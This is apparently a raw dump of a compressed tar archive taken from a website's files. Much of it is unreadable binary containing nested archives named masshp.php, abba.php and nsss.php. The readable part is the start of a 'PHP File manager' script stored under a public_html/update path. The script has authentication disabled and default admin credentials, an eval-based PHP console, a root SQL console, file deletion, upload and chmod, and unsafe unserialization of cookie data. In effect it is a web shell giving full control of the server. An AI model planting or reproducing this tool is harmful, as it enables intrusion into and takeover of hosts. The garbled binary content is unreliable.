�>�B�d��ҞX}6�B�/���,��Y�O�t�W����8ὒ�����.��?n�J�Vs\��ZS���!	�PV���UvdK��/_@`�~KT"\�r���mۄ{�%Y="��9�c��{<JDn9�Ғe�$�߫��
�x]0:"�e$���;�i)��ƉCYd�;|MՊ��^������1�o}�D*x{��=���w	�C�0<ݾ�6���\��<���\N9i�G���j3f����FP�!�p^�5��h<�H!����
�0�o�uZ�B�a���U�2�!|��n�1�����3��Q�X��-(0�X�l]R�@�=Z��X��ks��tR�f�f�R(=��7�g��
k�c��)Ia��Ұ�.�6iH��F�τ�d���FHn
@�?�\�;��׈Ky
�������c�9�3|�r����,h��&6(�/X�=�^�dw#�
���b�8^�t�5
���X�&�p��X@�6QFHaʬ��0���r�1eY1�����q$�0\�&�
p�N	g0Ii�S��R���a�	sj�H����E+��e�zdUykZ8X<~τ�{�Ӕ`��c��"#�5��,l@�$�����}�"�o�I9�X���P_.xm_���˞�B_�t玒{8�y�����\uB%g��i�6j�N	��,��lӆ�7즧����a>���n�Bj��)�YeM�{�ԼN�N��
�c�D��t�f�+,1����0�~2�a�aO�K�qx�1�t1,!�=��|Q�a�_34��s�ɦz]ne�(���,ɮO��y��6Y��yqa�?�`����5�_����^;�2��ه��2���ZT�r�{k�^��ȯw�i��~���`9Uy�~}1�=���Ϙ;��I	!�+���3m�५|�1���\9��j�#TG����a%��~kj�EsF�1��?��G6����װI˩sV��k3��-���C�p;`V7���b�~1�C����;/�c]L�1c����7�)h*��*��eJ/��e�:�t�j��mU�-|
꬗A�$s�jN�p��Y
z��AoM�����_3�����qp6��N�s2���oX�O�Goڴ:
�n�m�<�1I����=�)���P'��-:m�'�n�K8�z���8�P4�s|��/-+#c	�T"֞���b�h����
�T$�QED�߅�&1y�A�ɛ�ͅ�A��,�\�#��a��&��^��P����Q��J�E
���*���D�\�^>b�HxMZ��'���Yp3Y���$+�i;��>1�F�Ĩ�<?�h���X�g-f	�������IH�9g�L8?R5�Hb#0s�޾b�d�0	ƺ�n���snv�������Y^]��8��L!�a��b��0��BR�{T���7��������f�c%�W���QE"�ZQ����ۜ�}u};΋0�aqrI��P8�q(p~���q.��(����8�����[��$���f�1�^�ry���L�e;/sˤR�^�X�(GC��PD"���z����`��t�-7���ե"H���S(�R4jh�Ρ�`�o@cU��4�ϫ��N�Ǫ,�09N��
������Z��B���5M�����t�3�[�AI�cm�<Al܎)���E)jQg���;X���}{�tƋ�V0���7��z0K�7WH}�(�D�'���o0
�?����Q��=��#zz�f!9�s���>MFg�9���Im�t
;&ao6
ޜA�*����c��6��!@`AA?H�12]�zU���NV����C	�����x����:������O��#Z�q�z������m��a�k�2t�D9k�o�7~�Ѯ��g9�����y(�䕅���{��I��ѯ�+��pG��;��M,��H*�w;��jλ��K�nj��%���1;~'+�7��cnoI��tC�?�y�j~��.��Ajl�<�5'��m��>��
��
�h>�Z���#�Vj�Ug�o�>�Lg4I�u��o�`���.F��u�5�cnk�&�8�;X��e�q�������[��^!���\�����a|�
��2~�����j�
�bq\��E9"����4��K���sk|�ؙU�9�
�<e:�[�4�zk
��U�
��#)nD�9)�㛜ԩT��"�,�
�]�H�WW�	�W7Sl�
~W�w�Otkt����q�C�[�n��3�0_�a�f�K�C�ky
:~��u^[����8�N�ܵy���E���쉅=��?��������?���6VBmymasshp.php.php.tar.gz000064400000001770151167306040011120
0ustar00��Vmo�6�g�W��졍��ɆFR�&�Z��3�)P��AKtD�zI53��)꥞�m��
X.�E����s��<�O��yE��,Z'*�^Y�DQ/ݥDʤ8*���d�r2�ԣL��<�O&'ӓg������c�3�ߒR*"0�?��?(�����<��Y�X���!!Y�)l~��I,��mmPi渹�_p~Unb&�p�!�^�<����HJq噢��/��`�Y&KAA%��4�%�1\P�0β[��Ȥ�k�CB	�v��;�#�8�<�	g��m�j�ma���5�n���Zh����>��y��߈�9m�U�Ȭ����
�����ԈF*�J���*���p��MP���	��f�r�x�������&�悒(��~"a��_�
���9�E�W�K���-��,�r�F1=���)���g�N��j]�jm�
[j�EN��?o	Hc�������T}�ŷT��L����R}Ί
���y���ڤ�[���å�O
t|r��''4O�#a�����T.R]ΔI�i�=���j�|?[~t���gW�������½�
�rq�r�)��`�
>�:�{S���Y��֭߳��ʰ��jי�������խ=0\U�ۛB���B�z�i}�j���~���s�,�aL����lH*p�]	q��6y�tq2|ȂFl�h<�Q�',/6������>R��������j�\,V�
b?��N2}��P��Ϋ�3�_��8�n�f��P�U=��*QB��R�s��?�ީ�S���ս��{�
cx6����]�`��<�"��b�-p�Ǝ�
�z8�
�;�K}_�!�=�ٵf^$�v
EƠ,����\�k���%j�W]�=]�(��Y��g�cFX��YS�	�v�ס6�n�^C����Nx^-��{.:%N1Yk'��y�������z6�����
u�gn5g��aI�O�ŒYS���� �
���abba.php.php.tar.gz000064400000001460151167306040007777
0ustar00��U[o9�k��gꀔb��d�J�4�v�idfc��S�ӖV��=�K!�ҭ���s���X�k���J����
�kA�$���ł��8y�h#��ޝ��n��}�y���{�.������3AEj,��߈�?į/���
!�K���J�f�Җ�,��E�Z�S��Df��L/����h�<�V��a��E�$�n�L�xG�q�je���r%a�l���r�u�ׄ/�
 ��V�>qcM�Q,��ꡒ�
�cp��:���I0%���i���t4y=���z:�O��П)`7��F����`~5nw=�K<?����3���64�r���s�:��?�t�[�&\��"����v�\���D��v`��l��W�?_���۽�����v0@ˤ5�Z���)w�m�������4Ӂ�����a<ZP�)���A�a���°-�ͭJC������9sK.�N��g�>����Ż��,��j���<y?��CU��I�	Ϟ���X��ANb*#\$X���Ӯk{՗�U�s�wJ|�CwRf����]IN�a���[�W���&�z�$n�|�p�)�l�`M��¢Z���{ԋ�M�	!�~l����Ej�.Z�Z�������NtQ���L�{Ő����\N.܇��v�k�_�:U��$p��ݘ���.���g���^p*�{巙炕l��t���#�Ӓs.C�F컰8�He�;%XA���4՛�=r�ӱl�jC���rќ}`%��Zކ��U+O��O�#�G�#�
��%�nsss.php.php.tar.gz000064400000010143151167306040010237
0ustar00��<ks�8��9U�׷������*�SI�LR�L|��[S��
"!�c���{��~�
>@������V��D��~���FC�
�b��=�y0�ҹ�9�U���i��D)�
ZE��k��ᡱ}4:<������ã�GO�C������[_�Lx$���^�W0��y�7�"�ٮ'#���D�����h���G��8a'�E\��0vٔ��(u��&�ᐽ]	�y�J3O2?\.�˼��#)���`��Nz��zO<�Twf�>�|e�.3/�����=i{�ߏ1�������>?��/���O���?��_�t
l�}����y��4���s����Ě̈́���
V��삲�8/��+�]�쏡�PΘ�l�Ji�ޟ���w�S�������
Vhq�>7�\�s=����[���>*x�:.�'ON>����씡k�_�3�y��Z"�*o@;�U�&k�p�x�M�/��/�:L�%�8�.�`2T5��7��}]���͋1[����W�%���A"�d��q4��2�{�X�
�+�-W�n4�Y��̹s���4p���c���!�k�_��_{>��:����$d���0t��l���"��mj3��0��+���1;Em:�����s�KAo�:�r���v�F�op�x9�85��`�>�����4�J�#1��	e}mS���&+���$�~��k#�y�$����t����m�
�?=���fQ�?fAԽi�$�%b�B�eN}��ƫ�ִ�|4zv4�p��[�
���4�ɰ�'Ú����R׻a��`j�R�}2A�r�w����3)bww\YH*=��2�Z�
�pV!-32�5Z.rt/�d�����HrB�+�*t��&1	�,��\����#V�=�N�VY�2��z����F��2X�Sx$-�`�"�GpCX��0�x��l2�Z,6�-�ߥ�#�^mD@�
�ስH�I<��������DZ�qG:eZ�X�q��υ?�bD(�JPOߧ�}ީ/������!��(0��g�W�ѷ�^.��PX���5�]+8�TP��y�0s��>��U����v�X:�"
��uS�,��Dkw�:5I�d����\/&&��w��>vH5
_�d!��IK�Lx��ѡ�o�c'̟�~bC?�-B��(``E�'�`��m��GPB0���ߣ������'��?Hf�2��N!G�&}_1���j�|o6{����l��,�FD=�n<�h���,ۡ�
p�Tq%�f�;���'o�~Pz�{l'�4�Ì�������rtp�GI;2],�;�Dy�
���7���>���7v�'I
VF�c/
o{�p/�ԇp:A�����Ck��(�z�-�qM[d�
e��K�y�x�BsL�Tڊ�Ѕ��j=c���'�^�
]K�f��il�B�|ՄB�`r�C�����W�r�P�z����X!��e��v�/a��k��R��B��Hp�R�OrI�w��d%@'�y7"�g�AV��W��M��֫�8��.�/��q7I�[��z��nQ
��>�7�%��Q�&�p;�j:Y~�ێ~�f\�j�51|��j�f�l��x�Ѿ�lc�0��N�
�
��1)`�����v���df�?҉�Hm۠}���煈mSNY�~	�ۘ�(�=��3�Eҗ	��
ʼn'�Pz��$T	�/i�)�$�9J�:���E0�!�u*��,ġ?f�T&�X���y�]�b�\s��h�y+?�`�i(
�R��)
(�E���Wm��-
)���(7{\�/�ld�2���[�ȕ;U��W��
+:S;�M
�EdW6�d[�_�>~~}2;=?�}���������!ȇ�hLfp��3�FA��]���-E'56g�\b7=����o/?��2�8={}�nъs:F�d����V�$\�}Rc�v˳
)��\�d͔4{:��!�/�@�ItL~��F��#�\����P�EA�+b�.ʸF�+�:iv:�$Oi�BQ�%�3+���
4o���V�/{���6b��j@\W�j��Pt�A�}[�4ŵ�`6@q5�����F�����[X"�E�)�R(�T�*�w���;��i��ñ�hu
e���V
ؚJ��}]h�e}0`�gD<~Q��5�e�R9hʖ�Mvl�iN�0�|���<��DzM��/�O��Cz0>�8�$���K�2޹���3��n���ž=\a!�@�]�>(��-a$,B��b킼��)�
zY�nM�7��iO���x���gyq�t�|/��	g�X,��*I��P�P�ذ�M�!?�3�y��@�H��1+]�U�~3'@���JDC�%9�\B��9a���fv�M�&�n�D���k�{'ZEq�$�ÍzP0޹���_���ޏ���Q�Y��X���;����f[z���eCF�0�3ӾT��7
�e�p��'��"�A�g�����9�x��=�T
�����S��U���^V!Vy���g�x��iN����n�,$��<�k�{_}��g1E�
��Y����n�]�*��4�0{ꗍ^��Vy�b���)Oc��1NboݫQ�3���-�es+;�>����3t�`}�2o�tl���{
�Q���Q�L�,��eٮrlV�}ˁ���]��J�~�
;Q)������å�%Wrp'�`�X�TK�=�jQ������br��W9p�0u>�&8����7�C���[!�-
F�Q�<:R���^0��B�z��T.~PYUj
媵����m��Z,5�x���_6kWY��E���s�EX��$܂�F�������l�L���X���Q�Һ������>��u��I������`(���}�^�x<㏮�vI�{2iFC�6��>�$���F��G�N�K,}|����WEqrk��V�d����/��)`�f�AQ9��sG�����Y�&��[��Ê>7po.J�V�ul*}�b-�5�q�_�td�"	�ƜhA])�����j��X�
�`S_��[*J�f:ۜ�е�=���k�f���-^[{�:�Mf^����`���l���c&T��I����Y�ɛ�y���/GM��s�JT�W��&��s4�w`�F�}�ce���N�{��O}��o�?�=����~'�>Ë�3��WXD���}Cf�й�kڷs�H�h��h��\e��`�~
D_��G����!��{{:m�n����ߪ܎�ǘiA�A��
+����$yz�r�]P��>�m��'e��RB�S���c:{Ʋ�v�2���+�;d��.�lx�<inNJ3��f��V�U�ؕ캒���o
J��%���[R�OԘ�9[��\���O��
��P��G��s=�n��끟,PbdSJ��Zf�M�n?�TLnȣ���8��c��<'0S��p�6��O��-'��5��uL�9�-!�o��uL�-湕�:O[��Ѣ�X�`8����8�e<����j�a0��\)
I�'ºU��v
L��cU��j�ᐟAkLM��e��;J�u�'�cB���c�ڥ�2ӂ^F��dfY&U*�
%*��L�63�B�	����<b��<�n8��^�m�2Yc}l2��v��26�|��}
a2z���Z��(h�����c���d)�
��Z`�8ZzS�$?jl�e��0�;px�_��1k�&By�0Se��@[-�:a��ί�ݷٸ�����a'F0�$������	��[��Ts�]�m'a+Pڰ�.6�n�ke�ּH��h77&U�ߚs���V��~�<�88Vz���4�஺n���`[�-cW�
Ei���w�
�m�F}�Zy��'W��K���oK�ۯo��]��U����[VA#'�s�?@܀3��u͟�����zϏt���X~�cDw/����':k�Y����`9�c��Ϟ�j(*V��:���$��poM7���{[����J�6�n)��hC�=��Ђ�J5y��@�~�]��tި�3��!�sˢ��1t~�[n�c*΢c�`�����B�堶<�VS7�Ԭzd<c%G��/���jҷ
����s���|v�v?+3�iT���������q����twoHnf.php.tar000064400000241000151167306040006445
0ustar00home/lmsyaran/public_html/update/nf.php000064400000235217151164642150014241
0ustar00<?php
/* PHP File manager ver 1.5 */

// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"en","Add":"Add","Are
you sure you want to delete this directory (recursively)?":"Are
you sure you want to delete this directory (recursively)?","Are
you sure you want to delete this file?":"Are you sure you want to
delete this
file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error
occurred":"Error occurred","File
manager":"File manager","File selected":"File
selected","File updated":"File
updated","Filename":"Filename","Files
uploaded":"Files
uploaded","French":"French","Generation
time":"Generation
time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make
directory":"Make
directory","Name":"Name","New":"New","New
file":"New file","no files":"no
files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset
settings":"Reset settings","Restore file time after
editing":"Restore file time after
editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select
the file":"Select the
file","Settings":"Settings","Show":"Show","Show
size of the folder":"Show size of the
folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found
in files":"Found in
files","Search":"Search","Recursive
search":"Recursive
search","Mask":"Mask"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0; 
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size →
maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string =
str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val,
true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" .
basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return
round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return
round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
	<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
		<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
		<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
		<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
		<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
		<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return
'<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path  . '\'"';
    return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAA